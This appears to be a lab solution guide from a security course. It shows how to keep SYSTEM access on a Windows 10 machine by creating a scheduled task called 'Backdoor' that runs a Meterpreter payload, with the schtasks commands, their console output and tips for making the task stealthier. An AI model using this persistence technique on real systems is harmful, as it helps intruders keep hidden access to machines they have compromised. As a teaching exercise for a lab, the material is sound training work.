

Solution Guide: Windows Persistence

In this activity, you established persistence on the machine to ensure your SYSTEM access. You created a scheduled task that executes a custom Meterpreter payload.

Instructions

You will work off your Meterpreter session on the Windows 10 machine. If you do not have an active session on the WIN10 machine, refer to prior activities to obtain a Meterpreter shell.

1. In your Meterpreter session, drop into a `shell` session.
 - `shell`
2. Create a scheduled task that will execute your payload every day at midnight.
 - `schtasks /create /f /tn Backdoor /SC DAILY /ST 00:00 /TR "C:\shell.exe"`

```
C:\Windows\system32>schtasks /create /f /tn Backdoor /SC ONCE /ST 00:00 /TR "C:\shell.exe"
schtasks /create /f /tn Backdoor /SC ONCE /ST 00:00 /TR "C:\shell.exe"
WARNING: Task may not run because /ST is earlier than current time.
SUCCESS: The scheduled task "Backdoor" has successfully been created.

C:\Windows\system32>
```

3. Test your scheduled task.
 - `schtasks /run /tn Backdoor`

```
C:\Windows\system32>schtasks /run /tn Backdoor
schtasks /run /tn Backdoor
SUCCESS: Attempted to run the scheduled task "Backdoor".

C:\Windows\system32>
```

4. How could you improve this technique to make it more stealthy?

- Use a better task name.
 - Execute a better-named payload.
 - Schedule the task only to run on certain events, such as logon.
-
